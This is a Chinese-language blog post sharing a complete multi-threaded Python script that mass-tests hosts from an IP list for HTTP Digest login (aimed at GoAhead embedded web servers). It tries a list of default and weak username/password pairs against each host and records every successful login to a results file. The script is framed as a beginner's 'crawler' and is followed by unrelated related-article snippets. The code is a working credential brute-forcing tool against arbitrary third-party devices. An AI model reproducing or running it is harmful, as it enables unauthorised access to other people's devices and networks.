最近在学习用python写爬虫工具,某天偶然发现GoAhead系列服务器的登录方式跟大多数网站不一样,不是采用POST等方法,通过查找资料发现GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的嵌入式Web Server。大多数GoAhead服务器采用了HTTP Digest认证方式,并且部分服务器采用了默认账号密码,于是萌生了针对GoAhead编写爬虫的想法,通过近8个小时的编程与调试,勉强写出了个简陋的脚本,现在拿出来分享,给刚接触python的新手参考下,也请求路过的大神指点下,哈哈。

  该脚本对新手来说难点在于如何让python自动填写账号密码并登录,本人花了近两个小时参考了很多网站,觉得用python的第三方模块requests中的get()函数最方便,只需填写URL、认证方式和账号密码即可模拟登录。

  另一个难点就是多线程了,不过对于用其它语言写过多线程的人来说还是挺容易的,不懂的可以自己查资料,这里就不多说了。

  下面附上完整代码:

from requests.auth import HTTPDigestAuth
import requests
import threading
import sys
import os
import time ip_file_name = 'ip.txt'
password_file_name = 'password.txt'
results_file_name = 'results.txt'
ip_count = 0
thread_count = 0
default_thread_count = 150
local = threading.local() #read ip_file
def get_ip():
if os.path.exists(os.getcwd() + '/' + ip_file_name):
with open(ip_file_name, 'r') as r:
list = []
for line in r.readlines():
line = line.strip('\n')
line = 'http://' + line
list.append(line)
r.close()
return list
else:
print('ip file doesn\'t exist!\n')
os._exit(-1) #read password_file
def get_password():
if os.path.exists(os.getcwd() + '/' + password_file_name):
with open(password_file_name, 'r') as pa:
list = []
for line in pa.readlines():
line = line.strip('\n')
list.append(line)
pa.close()
return list
else:
print('password file doesn\'t exist!\n')
os._exit(-1) class MyThread(threading.Thread):
def __init__(self, thread_index, ip_list, pass_list, results_file):
threading.Thread.__init__(self)
self.thread_index = thread_index
self.ip_list = ip_list
self.pass_list = pass_list
self.results_file = results_file def run(self):
local.thread_index = self.thread_index
#Calculate the number of tasks assigned.
if ip_count <= default_thread_count:
local.my_number = 1
else:
local.my_number = (int)(ip_count/thread_count)
if ip_count%thread_count > thread_index:
local.my_number = local.my_number + 1 for local.times in range(local.my_number):
try:
local.ip = self.ip_list[(local.times-1)*thread_count+local.thread_index]
#Check whether the target is a digest authentication.
local.headers = str(requests.get(local.ip, timeout=6).headers)
if 'Digest' not in local.headers:
continue
except BaseException:
'''
e = sys.exc_info()
print(e)
'''
continue
#Loop to submit account password.
for local.user in self.pass_list:
#sleep 0.1 second to prevent overloading of target
time.sleep(0.1)
#Get the account password by cutting local.user
local.colon_index = local.user.find(':')
if local.colon_index == -1:
print(local.user+' doesn\'t Conform to the specifications')
os._exit(1)
local.username = local.user[0:local.colon_index]
local.password = local.user[local.colon_index+1:]
if local.password == '<empty>':
local.password = ''
try:
local.timeouts = 0
#Start Digest authentication
local.code = requests.get( local.ip, auth=HTTPDigestAuth(local.username, local.password), timeout=5 )
#If the status code is 200,the login is success
if local.code.status_code == 200 :
print('login '+local.ip+' success!')
self.results_file.writelines(local.ip+' '+local.username+' '+local.password+'\n')
break
except BaseException:
'''
e = sys.exc_info()
print(str(local.thread_index)+' '+local.ip+' '+local.username+' '+local.password)
print(e)
'''
#If the times of timeout is too many, check the next IP.
local.timeouts += 1
if local.timeouts == 15:
local.timeouts = 0
break
else:
continue if __name__ == '__main__': ip_list = get_ip()
pass_list = get_password() if len(ip_list)==0 or len(pass_list)==0:
print('please fill ip, username or password file')
os._exit(-1) ip_count = len(ip_list)
if ip_count <= default_thread_count:
thread_count = ip_count
else:
thread_count = default_thread_count print('start to work...')
#create threads and run
threads = []
with open(results_file_name, mode='a') as results_file:
for thread_index in range(thread_count):
thread = MyThread(thread_index, ip_list, pass_list, results_file)
thread.start()
threads.append(thread)
for thread in threads:
#wait for all threads to end
thread.join()
results_file.close() print('All work has been completed.')

  该脚本的运行流程为:

  1.读取ip.txt、password.txt文件中的内容

  2.创建线程并运行

  3.每个线程对其分配到的IP进行循环认证,先检查目标是否存在且为Digest认证方式,若为真则开始循环登录,登录过程中若多次超时则跳过对该IP的检查

  4.当服务器返回200状态码时则表示登录成功,将IP和账号密码写入results.txt,并循环检查下一个IP

  5.当所有线程将分配到的所有IP检查完毕,则程序运行完毕

批量检测GoAhead系列服务器中Digest认证方式的服务器弱口令的更多相关文章

  1. ssh 服务器之间公钥认证方式的配置

    前言 项目中需要编写脚本在服务器之间上传或者下载文件,但没有相关服务器来测试脚本,于是就着手安装两台server,然后用ssh的相关命令去配置server之间公钥认证登录. 步骤 1. 在VM Box ...

  2. cas sso单点登录系列3_cas-server端配置认证方式实践(数据源+自定义java类认证)

    转:http://blog.csdn.net/ae6623/article/details/8851801 本篇将讲解cas-server端的认证方式 1.最简单的认证,用户名和密码一致就登录成功 2 ...

  3. spark批量写写数据到Hbase中(bulkload方式)

    1:为什么大批量数据集写入Hbase中,需要使用bulkload BulkLoad不会写WAL,也不会产生flush以及split. 如果我们大量调用PUT接口插入数据,可能会导致大量的GC操作.除了 ...

  4. 基于Token的身份认证 与 基于服务器的身份认证

    基于Token的身份认证 与 基于服务器的身份认证 基于服务器的身份认证 在讨论基于Token的身份认证是如何工作的以及它的好处之前,我们先来看一下以前我们是怎么做的: HTTP协议是无状态的,也就是 ...

  5. Java 实现 SSH 协议的客户端登录认证方式--转载

    背景 在开篇之前,让我们先对 SSH 协议有个宏观的大致了解,这样更有利于我们对本文的加深了解.首先要提到的就是计算机网络协议,所谓计算机网络协议,简单的说就是定义了一套标准和规则,使得不同计算机之间 ...

  6. http认证方式,工程部分实现

    学习过程中,被boss批评,要求去复习http协议,因此找了相关资料做成一个系列:对于http认证方式不清楚的可以参考我的上一篇文章 http认证方式https://www.cnblogs.com/j ...

  7. getJSON方式请求服务器

    register.jsp <%@ page language="java" import="java.util.*" pageEncoding=" ...

  8. Python批量检测服务器端口可用性与Socket函数使用

    socket函数 简述 socket又称套间字或者插口,是网络通信中必不可少的工具.有道是:"无socket,不网络".由于socket最早在BSD Unix上使用,而Unix/L ...

  9. Linux利用nc命令脚本批量检测服务器指定端口是否开放

    一.nc命令检测端口的用法 # nc -v -w 10 %IP% -z %PORT% -v 显示指令执行过程. -w <超时秒数> 设置等待连线的时间. -u 表示使用UDP协议 -z 使 ...

随机推荐

  1. static与final的区别

    final被修饰的变量为常量一旦赋值不能修改,被修改的方法为最终方法不能被重写,被修饰的类是最终类,不能被继承static被修饰的变量和方法,为该整个类及其类的对象所共享,一个类或对象修改了被定义的类 ...

  2. Apache Shiro 标签方式授权

    Shiro提供了一套JSP标签库来实现页面级的授权控制. 在使用Shiro标签库前,首先需要在JSP引入shiro标签: <%@ taglib prefix="shiro"  ...

  3. openflow 和 sdn (软件定义网络) 原理和教程

    OpenFlow概述 OpenFlow简介 通俗的讲,OpenFlow是使用类似于API进程配置网络交换机的协议.OpenFlow的思路很简单,网络设备维护一个FlowTable并且只按照FlowTa ...

  4. 转: web 页面加载速度优化实战-100% 的飞跃提升

    前言 一个网站的加载速度有多重要? 反正我相信之前来 博主网站 的人至少有 50% 在加载完成前关闭了本站. 为啥捏? 看图 首页完整加载时间 8.18s,看来能进来看博主网站的人都是真爱呀,哈哈. ...

  5. 炫丽的倒计时效果Canvas绘图与动画基础

    前言 想要在自己做的网页中,加入canvas动画效果,但是发现模板各种调整不好,觉得还是要对canvas有所了解,才可以让自己的网页变得狂拽炫酷吊炸天! 一.绘制基础 1 <!DOCTYPE h ...

  6. R语言-用户细分

    案例:通过使用R语言的聚类算法将用户进行合理的划分,找出对超市贡献度,光临度最高的优质客户,对后期的推广有更深远的影响 1.导入包 library(dplyr) library(reshape2) l ...

  7. 前端的UI设计与交互之文案篇

    在界面中,我们需要通过对话的方式与用户产生共鸣.精准.清晰的语言会更容易让用户理解,合适的语气更容易让用户建立信任感.因此在界面设计时,文案也应当被重视. 在使用和书写文案时有以下几点需要注意:从用户 ...

  8. Java多线程:队列与阻塞队列

    1. 什么是阻塞队列 阻塞队列(BlockingQueue)是 Java 5 并发新特性中的内容,阻塞队列的接口是 java.util.concurrent.BlockingQueue,它提供了两个附 ...

  9. 浅谈-RMQ

    浅谈RMQ Today,我get到了一个新算法,开心....RMQ. 今天主要说一下RMQ里的ST算法(Sparse Table). RMQ(Range Minimum/Maximum Query), ...

  10. Git简单图文教程

    环境: Windows [版本 10.0.15063]64位 Git-2.14.1 64位[下载] TortoiseGit-2.5.0.0 64位[下载],这是一个Git 客户端,外号"乌龟 ...